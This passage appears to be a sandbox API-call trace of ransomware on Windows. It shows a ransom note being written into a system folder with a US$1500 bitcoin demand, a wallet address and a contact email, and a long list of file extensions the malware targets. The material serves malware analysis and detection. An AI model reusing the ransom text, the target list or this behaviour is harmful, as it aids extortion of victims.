lpString2=".") returned 0 [0112.503] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6f72a3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6f72a3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.503] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.503] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.503] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e41f3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6e41f3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6e8e1fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x351c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Linq.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.503] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.503] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Linq.ni.dll") returned -1 [0112.503] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Linq.ni.dll") returned -1 [0112.503] lstrcmpiA (lpString1="", lpString2="System.Data.Linq.ni.dll") returned -1 [0112.503] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\*.*") returned="*.*" [0112.503] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\" [0112.503] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\") returned="" [0112.503] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\HOW TO DECRYPT FILES.txt" [0112.503] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.linq\\b357f35e860204c5b74e1388f97db058\\how to decrypt files.txt")) returned 0xffffffff [0112.503] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.linq\\b357f35e860204c5b74e1388f97db058\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.504] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.504] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.505] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.505] CloseHandle (hObject=0x90) returned 1 [0112.506] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\", lpString2="System.Data.Linq.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll" [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.ems") returned 0 [0112.506] lstrlenA (lpString="*.ems") returned 5 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.db") returned 0 [0112.506] lstrlenA (lpString="*.db") returned 4 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.dbf") returned 0 [0112.506] lstrlenA (lpString="*.dbf") returned 5 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.myox") returned 0 [0112.506] lstrlenA (lpString="*.myox") returned 6 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.myo") returned 0 [0112.506] lstrlenA (lpString="*.myo") returned 5 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qbw") returned 0 [0112.506] lstrlenA (lpString="*.qbw") returned 5 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qbb") returned 0 [0112.506] lstrlenA (lpString="*.qbb") returned 5 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qbm") returned 0 [0112.506] lstrlenA (lpString="*.qbm") returned 5 [0112.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qbo") returned 0 [0112.506] lstrlenA (lpString="*.qbo") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qbx") returned 0 [0112.507] lstrlenA (lpString="*.qbx") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qba") returned 0 [0112.507] lstrlenA (lpString="*.qba") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qby") returned 0 [0112.507] lstrlenA (lpString="*.qby") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qbj") returned 0 [0112.507] lstrlenA (lpString="*.qbj") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.ofx") returned 0 [0112.507] lstrlenA (lpString="*.ofx") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.qif") returned 0 [0112.507] lstrlenA (lpString="*.qif") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mye") returned 0 [0112.507] lstrlenA (lpString="*.mye") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mbox") returned 0 [0112.507] lstrlenA (lpString="*.mbox") returned 6 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.eml") returned 0 [0112.507] lstrlenA (lpString="*.eml") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.pst") returned 0 [0112.507] lstrlenA (lpString="*.pst") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.ost") returned 0 [0112.507] lstrlenA (lpString="*.ost") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.idx") returned 0 [0112.507] lstrlenA (lpString="*.idx") returned 5 [0112.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.dbx") returned 0 [0112.507] lstrlenA (lpString="*.dbx") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.sql") returned 0 [0112.508] lstrlenA (lpString="*.sql") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mdb") returned 0 [0112.508] lstrlenA (lpString="*.mdb") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.fdb") returned 0 [0112.508] lstrlenA (lpString="*.fdb") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.wab") returned 0 [0112.508] lstrlenA (lpString="*.wab") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.dat") returned 0 [0112.508] lstrlenA (lpString="*.dat") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.txt") returned 0 [0112.508] lstrlenA (lpString="*.txt") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.jpeg") returned 0 [0112.508] lstrlenA (lpString="*.jpeg") returned 6 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.jpg") returned 0 [0112.508] lstrlenA (lpString="*.jpg") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.png") returned 0 [0112.508] lstrlenA (lpString="*.png") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.php") returned 0 [0112.508] lstrlenA (lpString="*.php") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.cs") returned 0 [0112.508] lstrlenA (lpString="*.cs") returned 4 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.cpp") returned 0 [0112.508] lstrlenA (lpString="*.cpp") returned 5 [0112.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.rar") returned 0 [0112.509] lstrlenA (lpString="*.rar") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.zip") returned 0 [0112.509] lstrlenA (lpString="*.zip") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.html") returned 0 [0112.509] lstrlenA (lpString="*.html") returned 6 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.htm") returned 0 [0112.509] lstrlenA (lpString="*.htm") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.xlsx") returned 0 [0112.509] lstrlenA (lpString="*.xlsx") returned 6 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.xls") returned 0 [0112.509] lstrlenA (lpString="*.xls") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mp4") returned 0 [0112.509] lstrlenA (lpString="*.mp4") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.ppt") returned 0 [0112.509] lstrlenA (lpString="*.ppt") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.pptx") returned 0 [0112.509] lstrlenA (lpString="*.pptx") returned 6 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.doc") returned 0 [0112.509] lstrlenA (lpString="*.doc") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.dot") returned 0 [0112.509] lstrlenA (lpString="*.dot") returned 5 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.docx") returned 0 [0112.509] lstrlenA (lpString="*.docx") returned 6 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.7z") returned 0 [0112.509] lstrlenA (lpString="*.7z") returned 4 [0112.509] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.tar") returned 0 [0112.510] lstrlenA (lpString="*.tar") returned 5 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.bz2") returned 0 [0112.510] lstrlenA (lpString="*.bz2") returned 5 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.gz") returned 0 [0112.510] lstrlenA (lpString="*.gz") returned 4 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mkv") returned 0 [0112.510] lstrlenA (lpString="*.mkv") returned 5 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.eml") returned 0 [0112.510] lstrlenA (lpString="*.eml") returned 5 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.msg") returned 0 [0112.510] lstrlenA (lpString="*.msg") returned 5 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.edb") returned 0 [0112.510] lstrlenA (lpString="*.edb") returned 5 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.accdb") returned 0 [0112.510] lstrlenA (lpString="*.accdb") returned 7 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.odb") returned 0 [0112.510] lstrlenA (lpString="*.odb") returned 5 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.java") returned 0 [0112.510] lstrlenA (lpString="*.java") returned 6 [0112.510] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.asm") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.pfx") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.pem") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.p12") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.gpg") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.vsd") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.odg") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.raw") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.nef") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.svg") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.psd") returned 0 [0112.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.vmx") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.vmdk") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.vdi") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.lay6") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mpeg") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.djvu") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.tiff") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.backup") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.pdf") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.cert") returned 0 [0112.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.docm") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.xlsm") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.dwg") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.nd") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.tlg") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.lgb") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mov") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.xdw") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.ods") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.wav") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.mp3") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.aiff") returned 0 [0112.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.flac") returned 0 